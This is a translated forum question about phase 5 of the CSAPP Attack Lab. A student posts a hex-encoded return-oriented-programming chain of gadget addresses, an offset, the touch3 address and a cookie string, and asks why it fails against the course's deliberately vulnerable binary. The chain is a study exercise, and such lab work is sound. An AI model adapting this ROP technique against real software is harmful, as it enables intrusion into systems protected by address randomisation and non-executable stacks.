CSAPP 3e Лаборатория атак, фаза 5 - PullRequest
0 голосов
/ 28 апреля 2019

Это фаза 5 лаборатории атаки. Из-за рандомизации адресов и неисполнимого стека мы должны использовать Return Oriented Programming (ROP) для передачи строкового указателя заданного значения cookie в качестве аргумента функции touch3. Я не могу описать вопрос лучше, так как это все, что я могу понять, полная инструкция на этой странице PDF 10: Лаборатория атак !

Это мой ответ, но я не уверен, что с ним не так, поскольку он не работает. вот мой objdump !

00 00 00 00 00 00 00 00 /* buffer */
00 00 00 00 00 00 00 00 /* buffer */
00 00 00 00 00 00 00 00 /* buffer */
D6 1a 40 00 00 00 00 00 /* mov %rsp,%rax == 48 89 e0 */
2D 1a 40 00 00 00 00 00 /* mov %rax,%rdi == 48 89 c7 */
3D 1a 40 00 00 00 00 00 /* pop rax       == 58    */
48 00 00 00 00 00 00 00 /* offset */
e4 1a 40 00 00 00 00 00 /* mov %eax,%edx == 89 c2 */
0B 1a 40 00 00 00 00 00 /* mov %edx,%ecx == 89 d1 */
FE 1a 40 00 00 00 00 00 /* mov %ecx,%esi == 89 ce */
5a 1a 40 00 00 00 00 00 /* lea add_xy */
2D 1a 40 00 00 00 00 00 /* mov %rax,%rdi == 48 89 c7  */
80 19 40 00 00 00 00 00 /* touch 3 address */
34 32 33 32 32 33 37 33 /* cookie as string */

Одна из проблем, с которыми я столкнулся, заключается в том, что на основе кодировок инструкций movq определенного регистра я обнаружил более одной функции в кодовой ферме и был озадачен, какая из них была.

моя логика верна? есть ли ошибка? почему не работает?

спасибо

...